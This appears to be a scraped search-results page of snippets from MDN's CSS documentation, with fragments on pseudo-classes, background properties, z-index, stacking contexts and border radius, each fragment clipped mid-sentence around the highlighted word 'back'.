back in 2.1.4 character key shortcuts (a) added in 2.1 if a single character key shortcut exists, then at least one of the following is true: single character key shortcuts can be turned off, remapped or are only active when the relevant user interface component is in focus.
Understandable - Accessibility
the html5 <audio> element can be used to create a control that allows the reader to play
back an audio file containing the correct pronounciation, and it also makes sense to include a textual pronounciation guide after difficult words, in the same way that you find in dictionary entries.
...also see building keyboard accessibility
back in for some useful implementation ideas.
Custom properties (--*): CSS variables - CSS: Cascading Style Sheets
formal syntax <declaration-value> example html <p id="firstparagraph">this paragraph should have a blue
background and yellow text.</p> <p id="secondparagraph">this paragraph should have a yellow
background and blue text.</p> <div id="container"> <p id="thirdparagraph">this paragraph should have a green
background and yellow text.</p> </div> css :root { --first-color: #488cff; --second-color: #ffff8c; } #firstparagraph {
background-color: var(--first-color); color: var(--second-color); } #...
...secondparagraph {
background-color: var(--second-color); color: var(--first-color); } #container { --first-color: #48ff32; } #thirdparagraph {
background-color: var(--first-color); color: var(--second-color); } result specifications specification status comment css custom properties for cascading variables module level 1the definition of '--*' in that specification.
::after (:after) - CSS: Cascading Style Sheets
</span> css .ribbon {
background-color: #5bc8f7; } .ribbon::after { content: "this is a fancy orange box.";
background-color: #ffba10; border-color: black; border-style: dotted; } result tooltips this example uses ::after, in conjunction with the attr() css expression and a data-descr custom data attribute, to create tooltips.
...</p> css span[data-descr] { position: relative; text-decoration: underline; color: #00f; cursor: help; } span[data-descr]:hover::after, span[data-descr]:focus::after { content: attr(data-descr); position: absolute; left: 0; top: 24px; min-width: 200px; border: 1px #aaaaaa solid; border-radius: 10px;
background-color: #ffffcc; padding: 12px; color: #000000; font-size: 14px; z-index: 1; } result specifications specification status comment css pseudo-elements level 4the definition of '::after' in that specification.
::cue-region - CSS: Cascading Style Sheets
the only exception is that
background and its shorthand properties apply to each cue individually, to avoid creating boxes and obscuring unexpectedly large areas of the media.
... syntax ::cue-region | ::cue-region( <selector> ) permitted properties rules whose selectors include this element may only use the following css properties:
background
background-attachment
background-clip
background-color
background-image
background-origin
background-position
background-repeat
background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow visibility white-space specifications specification status comment webvtt: the web video text tracks formatthe definit...
::first-letter (:first-letter) - CSS: Cascading Style Sheets
ith the ::first-letter pseudo-element: all font properties : font, font-style, font-feature-settings, font-kerning, font-language-override, font-stretch, font-synthesis, font-variant, font-variant-alternates, font-variant-caps, font-variant-east-asian, font-variant-ligatures, font-variant-numeric, font-variant-position, font-weight, font-size, font-size-adjust, line-height and font-family all
background properties :
background,
background-color,
background-image,
background-clip,
background-origin,
background-position,
background-repeat,
background-size,
background-attachment, and
background-blend-mode all margin properties: margin, margin-top, margin-right, margin-bottom, margin-left all padding properties: padding, padding-top, padding-right, padding-bottom, padding-left all border pr...
...stet clita kasd gubergren, no sea takimata sanctus est.</p> <p>duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.</p> css p { width: 500px; line-height: 1.5; } h2 + p::first-letter { color: white;
background-color: black; border-radius: 2px; box-shadow: 3px 3px 0 red; font-size: 250%; padding: 6px 3px; margin-right: 6px; float: left; } result effect on special punctuation and non-latin characters this example illustrates the effect of ::first-letter on special punctuation and non-latin characters.
::placeholder - CSS: Cascading Style Sheets
it is important to ensure that the contrast ratio between the color of the placeholder text and the
background of the input is high enough that people experiencing low vision conditions will be able to read it while also making sure there is enough of a difference between the placeholder text and input text color that users do not mistake the placeholder for inputed data.
... color contrast ratio is determined by comparing the luminosity of the placeholder text and the input
background color values.
:active - CSS: Cascading Style Sheets
syntax :active examples active links html <p>this paragraph contains a link: <a href="#">this link will turn red while you click on it.</a> the paragraph will get a gray
background while you click on it or the link.
... </p> css a:link { color: blue; } /* unvisited links */ a:visited { color: purple; } /* visited links */ a:hover {
background: yellow; } /* hovered links */ a:active { color: red; } /* active links */ p:active {
background: #eee; } /* active paragraphs */ result active form elements html <form> <label for="my-button">my button: </label> <button id="my-button" type="button">try clicking me or my label!</button> </form> css form :active { color: red; } form button {
background: white; } result specifications specification status comment html living standardthe definition of ':active' in that specification.
:checked - CSS: Cascading Style Sheets
ore text]</td><td>[more text]</td><td>[more text]</td></tr> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> </tbody> </table> <label for="expand-toggle" id="expand-btn">toggle hidden rows</label> css /* hide the toggle checkbox */ #expand-toggle { display: none; } /* hide expandable content by default */ .expandable { visibility: collapse;
background: #ddd; } /* style the button */ #expand-btn { display: inline-block; margin-top: 12px; padding: 5px 11px;
background-color: #ff7; border: 1px solid; border-radius: 3px; } /* show hidden content when the checkbox is checked */ #expand-toggle:checked ~ * .expandable { visibility: visible; } /* style the button when the checkbox is checked */ #expand-toggle:checked ~ #expand-b...
...tn {
background-color: #ccc; } result image gallery you can use the :checked pseudo-class to build an image gallery with full-size images that show only when the user clicks on a thumbnail.
:dir() - CSS: Cascading Style Sheets
/* selects any element with right-to-left text */ :dir(rtl) {
background-color: red; } the :dir() pseudo-class uses only the semantic value of the directionality, i.e., the one defined in the document itself.
... formal syntax :dir( ltr | rtl ) examples html <div dir="rtl"> <span>test1</span> <div dir="ltr">test2 <div dir="auto">עִבְרִית</div> </div> </div> css :dir(ltr) {
background-color: yellow; } :dir(rtl) {
background-color: powderblue; } result specifications specification status comment html living standardthe definition of ':dir(ltr)' in that specification.
:disabled - CSS: Cascading Style Sheets
/* selects any disabled <input> */ input:disabled {
background: #ccc; } syntax :disabled examples this example shows a basic shipping form.
...g"> <legend>billing address</legend> <label for="billing-checkbox">same as shipping address:</label> <input type="checkbox" id="billing-checkbox" checked> <br> <input type="text" placeholder="name" disabled> <input type="text" placeholder="address" disabled> <input type="text" placeholder="zip code" disabled> </fieldset> </form> css input[type="text"]:disabled {
background: #ccc; } javascript // wait for the page to finish loading document.addeventlistener('domcontentloaded', function () { // attach `change` event listener to checkbox document.getelementbyid('billing-checkbox').onchange = togglebilling; }, false); function togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'...
:empty - CSS: Cascading Style Sheets
/* selects any <div> that contains no content */ div:empty {
background: lime; } syntax :empty examples html <div class="box"><!-- i will be lime.
...--></p> </div> css body { display: flex; justify-content: space-around; } .box {
background: pink; height: 80px; width: 80px; } .box:empty {
background: lime; } result accessibility concerns assistive technology such as screen readers cannot parse interactive content that is empty.
:focus-visible - CSS: Cascading Style Sheets
<custom-button tabindex="0" role="button">click me</custom-button> custom-button { display: inline-block; margin: 10px; } custom-button:focus { /* provide a fall
back style for browsers that don't support :focus-visible */ outline: none;
background: lightgrey; } custom-button:focus:not(:focus-visible) { /* remove the focus indicator on mouse-focus for browsers that do support :focus-visible */
background: transparent; } custom-button:focus-visible { /* draw a very noticeable focus style for keyboard-focus on browsers that do support ...
... :focus-visible */ outline: 4px dashed darkorange;
background: transparent; } polyfill you can polyfill :focus-visible using focus-visible.js.
:focus-within - CSS: Cascading Style Sheets
(this includes descendants in shadow trees.) /* selects a <div> when one of its descendants is focused */ div:focus-within {
background: cyan; } this selector is useful, to take a common example, for highlighting an entire <form> container when the user focuses on one of its <input> fields.
... html <p>try typing into this form.</p> <form> <label for="given_name">given name:</label> <input id="given_name" type="text"> <br> <label for="family_name">family name:</label> <input id="family_name" type="text"> </form> css form { border: 1px solid; color: gray; padding: 4px; } form:focus-within {
background: #ff8; color: black; } input { margin: 4px; } result specifications specification status comment selectors level 4the definition of ':focus-within' in that specification.
:hover - CSS: Cascading Style Sheets
syntax :hover examples basic example html <a href="#">try hovering over this link.</a> css a {
background-color: powderblue; transition:
background-color .5s; } a:hover {
background-color: gold; } result image gallery you can use the :hover pseudo-class to build an image gallery with full-size images that show only when the mouse moves over a thumbnail.
... specifications specification comment feed
back html living standardthe definition of ':hover' in that specification.
:in-range - CSS: Cascading Style Sheets
/* selects any <input>, but only when it has a range specified, and its value is inside that range */ input:in-range {
background-color: rgba(0, 255, 0, 0.25); } this pseudo-class is useful for giving the user a visual indication that a field's current value is within the permitted limits.
... <li> <input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12"> <label for="value1">your value is </label> </li> </ul> </form> css li { list-style: none; margin-bottom: 1em; } input { border: 1px solid black; } input:in-range {
background-color: rgba(0, 255, 0, 0.25); } input:out-of-range {
background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':in-range' in that spec...
:indeterminate - CSS: Cascading Style Sheets
/* selects any <input> whose state is indeterminate */ input:indeterminate {
background: lime; } elements targeted by this selector are: <input type="checkbox"> elements whose indeterminate property is set to true by javascript <input type="radio"> elements, when all radio buttons with the same name value in the form are unchecked <progress> elements in an indeterminate state syntax :indeterminate examples checkbox & radio button this example applies special styles to the labels associat...
... html <div> <input type="checkbox" id="checkbox"> <label for="checkbox">this label starts out lime.</label> </div> <div> <input type="radio" id="radio"> <label for="radio">this label starts out lime.</label> </div> css input:indeterminate + label {
background: lime; } javascript var inputs = document.getelementsbytagname("input"); for (var i = 0; i < inputs.length; i++) { inputs[i].indeterminate = true; } progress bar html <progress> css progress { margin: 4px; } progress:indeterminate { opacity: 0.5;
background-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status comment html living standardthe definition of ':indeterminate' in that specification.
:invalid - CSS: Cascading Style Sheets
/* selects any invalid <input> */ input:invalid {
background-color: pink; } this pseudo-class is useful for highlighting field errors for the user.
...rm> <div class="field"> <label for="url_input">enter a url:</label> <input type="url" id="url_input"> </div> <div class="field"> <label for="email_input">enter an email address:</label> <input type="email" id="email_input" required> </div> </form> css label { display: block; margin: 1px; padding: 1px; } .field { margin: 1px; padding: 1px; } input:invalid {
background-color: #ffdddd; } form:invalid { border: 5px solid #ffdddd; } input:valid {
background-color: #ddffdd; } form:valid { border: 5px solid #ddffdd; } input:required { border-color: #800000; border-width: 3px; } input:required:invalid { border-color: #c00000; } result accessibility concerns the color red is commonly used to indicate invalid input.
:link - CSS: Cascading Style Sheets
(after that, you'll need to clear your browser history to see them again.) however, the
background-color values are likely to remain, as most browsers do not set that property on visited links by default.
... html <a href="#ordinary-target">this is an ordinary link.</a><br> <a href="">you've already visited this link.</a><br> <a>placeholder link (won't get styled)</a> css a:link {
background-color: gold; color: green; } result specifications specification status comment html living standardthe definition of ':link' in that specification.
:nth-last-child() - CSS: Cascading Style Sheets
/* selects every fourth element among any group of siblings, counting
backwards from the last one */ :nth-last-child(4n) { color: lime; } note: this pseudo-class is essentially the same as :nth-child, except it counts items
backwards from the end, not forwards from the beginning.
... table example html <table> <tbody> <tr> <td>first line</td> </tr> <tr> <td>second line</td> </tr> <tr> <td>third line</td> </tr> <tr> <td>fourth line</td> </tr> <tr> <td>fifth line</td> </tr> </tbody> </table> css table { border: 1px solid blue; } /* selects the last three elements */ tr:nth-last-child(-n+3) {
background-color: pink; } /* selects every element starting from the second to last item */ tr:nth-last-child(n+2) { color: blue; } /* select only the last second element */ tr:nth-last-child(2) { font-weight: 600; } result quantity query a quantity query styles elements depending on how many of them there are.
:nth-last-of-type() - CSS: Cascading Style Sheets
/* selects every fourth <p> element among any group of siblings, counting
backwards from the last one */ p:nth-last-of-type(4n) { color: lime; } note: this pseudo-class is essentially the same as :nth-of-type, except it counts items
backwards from the end, not forwards from the beginning.
... formal syntax :nth-last-of-type( <nth> )where <nth> = <an-plus-b> | even | odd examples html <div> <span>this is a span.</span> <span>this is another span.</span> <em>this is emphasized.</em> <span>wow, this span gets limed!!!</span> <strike>this is struck through.</strike> <span>here is one last span.</span> </div> css span:nth-last-of-type(2) {
background-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-last-of-type' in that specification.
:out-of-range - CSS: Cascading Style Sheets
/* selects any <input>, but only when it has a range specified, and its value is outside that range */ input:out-of-range {
background-color: rgba(255, 0, 0, 0.25); } this pseudo-class is useful for giving the user a visual indication that a field's current value is outside the permitted limits.
...ge examples html <form action="" id="form1"> <p>values between 1 and 10 are valid.</p> <ul> <li> <input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12"> <label for="value1">your value is </label> </li> </ul> </form> css li { list-style: none; margin-bottom: 1em; } input { border: 1px solid black; } input:in-range {
background-color: rgba(0, 255, 0, 0.25); } input:out-of-range {
background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':out-of-range' in that ...
:visited - CSS: Cascading Style Sheets
styling restrictions for privacy reasons, browsers strictly limit which styles you can apply using this pseudo-class, and how they can be used: allowable css properties are color,
background-color, border-color, border-bottom-color, border-left-color, border-right-color, border-top-color, column-rule-color, outline-color, text-decoration-color, and text-emphasis-color.
... html <a href="#test-visited-link">have you visited this link yet?</a><br> <a href="">you've already visited this link.</a> css a { /* specify non-transparent defaults to certain properties, allowing them to be styled with the :visited state */
background-color: white; border: 1px solid white; } a:visited {
background-color: yellow; border-color: hotpink; color: hotpink; } result specifications specification status comment html living standardthe definition of ':visited' in that specification.
aspect-ratio - CSS: Cascading Style Sheets
</div> css /* minimum aspect ratio */ @media (min-aspect-ratio: 8/5) { div {
background: #9af; /* blue */ } } /* maximum aspect ratio */ @media (max-aspect-ratio: 3/2) { div {
background: #9ff; /* cyan */ } } /* exact aspect ratio, put it at the bottom to avoid override*/ @media (aspect-ratio: 1/1) { div {
background: #f9a; /* red */ } } _example used iframe and dataurl to enable this iframe could resize html <label id="wf" for="w">width:165</label> ...
...<input id="w" name="w" type="range" min="100" max="250" step="5" value="165"> <label id="hf" for="w">height:165</label> <input id="h" name="h" type="range" min="100" max="250" step="5" value="165"> <iframe id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div {
background: %239af; } } @media (max-aspect-ratio: 3/2) { div {
background: %239ff; } } @media (aspect-ratio: 1/1) { div {
background: %23f9a; } }</style><div id='inner'> watch this element as you resize your viewport's width and height.</div>"> </iframe> css iframe{ display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" ...
@supports - CSS: Cascading Style Sheets
@supports ((perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or (-ms-perspective: 10px) or (-o-perspective: 10px)) { … /* css applied when 3d transforms, prefixed or not, are supported */ } testing for the non-support of a specific css property @supports not ((text-align-last: justify) or (-moz-text-align-last: justify)) { … /* css to provide fall
back alternative for text-align-last: justify */ } testing for the support of custom properties @supports (--foo: green) { body { color: var(--varname); } } testing for the support of a selector (eg.
... :is()) /* this rule won't be applied in browsers which don't support :is() */ :is(ul, ol) > li { … /* css applied when the :is(…) selector is supported */ } @supports not selector(:is(a, b)) { /* fall
back for when :is() is unsupported */ ul > li, ol > li { … /* the above expanded for browsers which don't support :is(…) */ } } @supports selector(:nth-child(1n of a, b)) { /* this rule needs to be inside the @supports block, otherwise it will be partially applied in browsers which don't support the `of` argument of :nth-child(…) is supported */ :is(:nth-child(1n of ul, ol) a, details > summary) { … /* css applied when the :is(…) selector and the `of` argument of :nth-child(…) are both supported */ } } specifications s...
Attribute selectors - CSS: Cascading Style Sheets
examples links css a { color: blue; } /* internal links, beginning with "#" */ a[href^="#"] {
background-color: gold; } /* links with "example" anywhere in the url */ a[href*="example"] {
background-color: silver; } /* links with "insensitive" anywhere in the url, regardless of capitalization */ a[href*="insensitive" i] { color: cyan; } /* links with "case" anywhere in the url, with matching capitalization */ a[href*="case" s] { color: pink; } /* links that end in ".org" */ a[href...
...*/ ol[type="a"] { list-style-type: lower-alpha;
background: red; } ol[type="a" s] { list-style-type: lower-alpha;
background: lime; } ol[type="a" s] { list-style-type: upper-alpha;
background: lime; } html <ol type="a"> <li>example list</li> </ol> result specifications specification status comment selectors level 4the definition of 'attribute selectors' in that specification.
Coordinate systems - CSS: Cascading Style Sheets
when drawing 3d graphics, or using a third dimension to layer objects from front to
back, the z-coordinate is also used.
... .outer { width: 1000px; height: 200px;
background-color: red; } .inner { position: relative; width: 500px; height: 150px; top: 25px; left: 100px;
background-color: blue; color: white; cursor: crosshair; user-select: none; -moz-user-select: none; -ms-user-select: none; -webkit-user-select: none; } .log { position: relative; width: 100%; text-align: center; } result here you can see the results in action.
Detecting CSS animation support - CSS: Cascading Style Sheets
if( animation === false ) { // animate in javascript fall
back } else { elem.style[ animationstring ] = 'rotate 1s linear infinite'; var keyframes = '@' + keyframeprefix + 'keyframes rotate { '+ 'from {' + keyframeprefix + 'transform:rotate( 0deg ) }'+ 'to {' + keyframeprefix + 'transform:rotate( 360deg ) }'+ '}'; if( document.stylesheets && document.stylesheets.length ) { document.sty...
...lesheets[0].insertrule( keyframes, 0 ); } else { var s = document.createelement( 'style' ); s.innerhtml = keyframes; document.getelementsbytagname( 'head' )[ 0 ].appendchild( s ); } } this code looks at the value of animation; if it's false, we know we need to use our javascript fall
back code to perform our animation.
Typical use cases of Flexbox - CSS: Cascading Style Sheets
in reality we also often use flexbox for jobs that might be better done by grid layout, as a fall
back for grid, and also in order to get alignment capabilities.
...i have added a label, and other than some styling for
background colour i didn’t need to change the layout.
In Flow and Out of Flow - CSS: Cascading Style Sheets
i’ve added a
background colour to the paragraphs, and then floated the div left.
... you can see the
background colour of the following paragraph running underneath, it is only the line boxes of that paragraph that have been shortened to cause the effect of wrapping content around the float.
Consistent list indentation - CSS: Cascading Style Sheets
if we apply a
background color to the <ul> element and leave the list item and <ul> borders in place, we get the result shown in figure 5.
...we can only see the difference if we try to set a
background or border on the <ul> element.
Using z-index - CSS: Cascading Style Sheets
"abs2"> <b>div #4</b> <br />position: absolute; <br />z-index: 1; </div> <div id="sta1"> <b>div #5</b> <br />no positioning <br />z-index: 8; </div> css div { padding: 10px; opacity: 0.7; text-align: center; } b { font-family: sans-serif; } #abs1 { z-index: 5; position: absolute; width: 150px; height: 350px; top: 10px; left: 10px; border: 1px dashed #900;
background-color: #fdd; } #rel1 { z-index: 3; height: 100px; position: relative; top: 30px; border: 1px dashed #696;
background-color: #cfc; margin: 0px 50px 0px 50px; } #rel2 { z-index: 2; height: 100px; position: relative; top: 15px; left: 20px; border: 1px dashed #696;
background-color: #cfc; margin: 0px 50px 0px 50px; } #abs2 { z-index: 1; position: absolute; ...
... width: 150px; height: 350px; top: 10px; right: 10px; border: 1px dashed #900;
background-color: #fdd; } #sta1 { z-index: 8; height: 70px; border: 1px dashed #996;
background-color: #ffc; margin: 0px 50px 0px 50px; } ...
Stacking context example 1 - CSS: Cascading Style Sheets
iv> </div> <br /> <div id="div3"> <br /><span class="bold">div #3</span> <br />position: relative; <div id="div4"> <br /><span class="bold">div #4</span> <br />position: absolute; <br />z-index: 2; </div> </div> </body></html> css .bold { font-weight: bold; font: 12px arial; } #div1, #div3 { height: 80px; position: relative; border: 1px dashed #669966;
background-color: #ccffcc; padding-left: 5px; } #div2 { opacity: 0.8; z-index: 1; position: absolute; width: 150px; height: 200px; top: 20px; left: 170px; border: 1px dashed #990000;
background-color: #ffdddd; text-align: center; } #div4 { opacity: 0.8; z-index: 2; position: absolute; width: 200px; height: 70px; top: 65px; left: 5...
...0px; border: 1px dashed #000099;
background-color: #ddddff; text-align: left; padding-left: 10px; } result ...
Stacking context example 3 - CSS: Cascading Style Sheets
example source code <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html> <head><style type="text/css"> div { font: 12px arial; } span.bold { font-weight: bold; } div.lev1 { width: 250px; height: 70px; position: relative; border: 2px outset #669966;
background-color: #ccffcc; padding-left: 5px; } #container1 { z-index: 1; position: absolute; top: 30px; left: 75px; } div.lev2 { opacity: 0.9; width: 200px; height: 60px; position: relative; border: 2px outset #990000;
background-color: #ffdddd; padding-left: 5px; } #container2 { z-index: 1; position: absolute; top: 20px; left: 110px; } div.lev3 { ...
... z-index: 10; width: 100px; position: relative; border: 2px outset #000099;
background-color: #ddddff; padding-left: 5px; } </style></head> <body> <br /> <div class="lev1"> <span class="bold">level #1</span> <div id="container1"> <div class="lev2"> <br /><span class="bold">level #2</span> <br />z-index: 1; <div id="container2"> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span><...
The stacking context - CSS: Cascading Style Sheets
z-index: 1;</code> </div> <div id="div6"> <h1>division element #6</h1> <code>position: absolute;<br/> z-index: 3;</code> </div> </div> css * { margin: 0; } html { padding: 20px; font: 12px/20px arial, sans-serif; } div { opacity: 0.7; position: relative; } h1 { font: inherit; font-weight: bold; } #div1, #div2 { border: 1px dashed #696; padding: 10px;
background-color: #cfc; } #div1 { z-index: 5; margin-bottom: 190px; } #div2 { z-index: 2; } #div3 { z-index: 4; opacity: 1; position: absolute; top: 40px; left: 180px; width: 330px; border: 1px dashed #900;
background-color: #fdd; padding: 40px 20px 20px; } #div4, #div5 { border: 1px dashed #996;
background-color: #ffc; } #div4 { z-index: 6; margin-bottom: 15px; paddi...
...ng: 25px 10px 5px; } #div5 { z-index: 1; margin-top: 15px; padding: 5px 10px; } #div6 { z-index: 3; position: absolute; top: 20px; left: 180px; width: 150px; height: 125px; border: 1px dashed #009; padding-top: 125px;
background-color: #ddf; text-align: center; } result ...
Introducing the CSS Cascade - CSS: Cascading Style Sheets
the css property all lets you quickly set (almost) everything in css
back to a known state.
... specifications specification status comment css cascading and inheritance level 4 candidate recommendation added the revert keyword, which allows rolling a property
back a cascade level.
Cookbook template - CSS: Cascading Style Sheets
if you want to add an additional example here — for example a version with fall
backs, please do.
... useful fall
backs or alternative methods if there are useful alternative methods for building the recipe, or fall
back recipes to use if you have to support non-supporting browsers, include them in separate sections down here.
CSS Layout cookbook - CSS: Cascading Style Sheets
css grid, float fall
back, fit-content() sizing columns when to choose multi-column layout, flexbox or grid for your columns.
... flexbox, margin breadcrumb navigation creating a list of links to allow the visitor to navigate
back up through the page hierarchy.
CSS reference - CSS: Cascading Style Sheets
--webkit-line-clampa:activeadditive-symbols (@counter-style)::after (:after)align-contentalign-itemsalign-selfall<an-plus-b><angle><angle-percentage>animationanimation-delayanimation-directionanimation-durationanimation-fill-modeanimation-iteration-countanimation-nameanimation-play-stateanimation-timing-function@annotationannotation()attr()b::
backdrop
backdrop-filter
backface-visibility
background
background-attachment
background-blend-mode
background-clip
background-color
background-image
background-origin
background-position
background-repeat
background-size<basic-shape>::before (:before)bleed (@page)<blend-mode>block-sizeblur()borderborder-blockborder-block-colorborder-block-endborder-block-end-colorborder-block-end-styleborder-block-end-widthborde...
...dient()containcontentcontrast()<counter>counter-incrementcounter-resetcounter-set@counter-stylecounters()cross-fade()cubic-bezier()::cue::cue-regioncursor<custom-ident>d:defaultdeg<dimension>:dirdirection:disableddisplay<display-box><display-inside><display-internal><display-legacy><display-listitem><display-outside>dpcmdpidppxdrop-shadow()eelement()ellipse()em:emptyempty-cells:enabledenv()exffall
back (@counter-style)filter<filter-function>:first:first-child::first-letter (:first-letter)::first-line (:first-line):first-of-typefit-content()<flex>flexflex-basisflex-directionflex-flowflex-growflex-shrinkflex-wrapfloat:focusfont@font-facefont-familyfont-family (@font-face)font-feature-settingsfont-feature-settings (@font-face)@font-feature-valuesfont-kerningfont-language-overridefont-optical-sizin...
CSS Tutorials - CSS: Cascading Style Sheets
using multiple
backgrounds
backgrounds are fundamental for nice styling: css allows you to set several of them on each box.
... scaling
background images css allows you to resize images used as an element's
background.
Visual formatting model - CSS: Cascading Style Sheets
you can see the difference between line boxes and their containing block if you float an item and then follow it by a block that has a
background color.
...the
background of the box runs behind the float, as the floated item has been taken out of flow.
align-items - CSS: Cascading Style Sheets
baseline<overflow-position> = unsafe | safe<self-position> = center | start | end | self-start | self-end | flex-start | flex-end examples css #container { height:200px; width: 240px; align-items: center; /* can be changed in the live sample */
background-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } div > div { box-sizing: border-box; border: 2px solid #8c8c8c; width: 50px; display: flex; align-items: center; justify-content: center; } #item1 {
background-color: #8cffa0; min-height: 30px; } #item2 {
background-color: #a0c8ff...
...; min-height: 50px; } #item3 {
background-color: #ffa08c; min-height: 40px; } #item4 {
background-color: #ffff8c; min-height: 60px; } #item5 {
background-color: #ff8cff; min-height: 70px; } #item6 {
background-color: #8cffff; min-height: 50px; font-size: 30px; } select { font-size: 16px; } .row { margin-top: 10px; } html <div id="container" class="flex"> <div id="item1">1</div> <div id="item2">2</div> <div id="item3">3</div> <div id="item4">4</div> <div id="item5">5</div> <div id="item6">6</div> </div> <div class="row"> <label for="display">display: </label> <select id="display"> <option value="flex">flex</option> <option value="grid">grid</option> </select> </div> <div class="row"> <label for="values">align-items: </label> <selec...
align-self - CSS: Cascading Style Sheets
the fall
back alignment for first baseline is start, the one for last baseline is end.
...baseline<overflow-position> = unsafe | safe<self-position> = center | start | end | self-start | self-end | flex-start | flex-end examples html <section> <div>item #1</div> <div>item #2</div> <div>item #3</div> </section> css section { display: flex; align-items: center; height: 120px;
background: beige; } div { height: 60px;
background: cyan; margin: 5px; } div:nth-child(3) { align-self: flex-end;
background: pink; } result specifications specification status comment css box alignment module level 3the definition of 'align-self' in that specification.
border-bottom-left-radius - CSS: Cascading Style Sheets
a
background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the
background-clip property.
... the
background color is clipped at the border div { border-bottom-left-radius:40%; border-style: black 3px double;
background-color: rgb(250,20,70);
background-clip: content-box; } specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-bottom-left-radius' in that specification.
border-bottom-right-radius - CSS: Cascading Style Sheets
a
background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the
background-clip property.
... the
background color is clipped at the border div { border-bottom-right-radius:40%; border-style: black 3px double;
background-color: rgb(250,20,70);
background-clip: content-box; } specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-bottom-right-radius' in that specification.
border-bottom-style - CSS: Cascading Style Sheets
ne</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 3px;
background-color: #52e385; } tr, td { padding: 3px; } /* border-bottom-style example classes */ .b1 {border-bottom-style: none;} .b2 {border-bottom-style: hidden;} .b3 {border-bottom-style: dotted;} .b4 {border-bottom-style: dashed;} .b5 {border-bottom-style: solid;} .b6 {border-bottom-style: double;} .b7 {border-bottom-style: groove;} .b8 {border-bottom-style: ridge;} .b9 {border-bottom-style: ins...
...et;} .b10 {border-bottom-style: outset;} result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-bottom-style' in that specification.
border-left-style - CSS: Cascading Style Sheets
ne</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 2px;
background-color: #52e385; } tr, td { padding: 3px; } /* border-left-style example classes */ .b1 {border-left-style: none;} .b2 {border-left-style: hidden;} .b3 {border-left-style: dotted;} .b4 {border-left-style: dashed;} .b5 {border-left-style: solid;} .b6 {border-left-style: double;} .b7 {border-left-style: groove;} .b8 {border-left-style: ridge;} .b9 {border-left-style: inset;} .b10 {border-le...
...ft-style: outset;} result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-left-style' in that specification.
border-right-style - CSS: Cascading Style Sheets
ne</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 2px;
background-color: #52e385; } tr, td { padding: 3px; } /* border-right-style example classes */ .b1 {border-right-style: none;} .b2 {border-right-style: hidden;} .b3 {border-right-style: dotted;} .b4 {border-right-style: dashed;} .b5 {border-right-style: solid;} .b6 {border-right-style: double;} .b7 {border-right-style: groove;} .b8 {border-right-style: ridge;} .b9 {border-right-style: inset;} .b10 ...
...{border-right-style: outset;} result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-right-style' in that specification.
border-top-left-radius - CSS: Cascading Style Sheets
a
background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the
background-clip property.
... an arc of ellipse is used as the border div { border-top-left-radius: 40px 20px; } the box is a square: an arc of circle is used as the border div { border-top-left-radius: 40%; } the box is not a square: an arc of ellipse is used as the border div { border-top-left-radius: 40%; } the
background color is clipped at the border div { border-top-left-radius:40%; border-style: black 3px double;
background-color: rgb(250,20,70);
background-clip: content-box; } specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-top-left-radius' in that specification.
border-top-right-radius - CSS: Cascading Style Sheets
a
background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the
background-clip property.
... the box is not a square: an arc of ellipse is used as the border div { border-top-right-radius: 40%; } the
background color is clipped at the border div { border-top-right-radius:40%; border-style: black 3px double;
background-color: rgb(250,20,70);
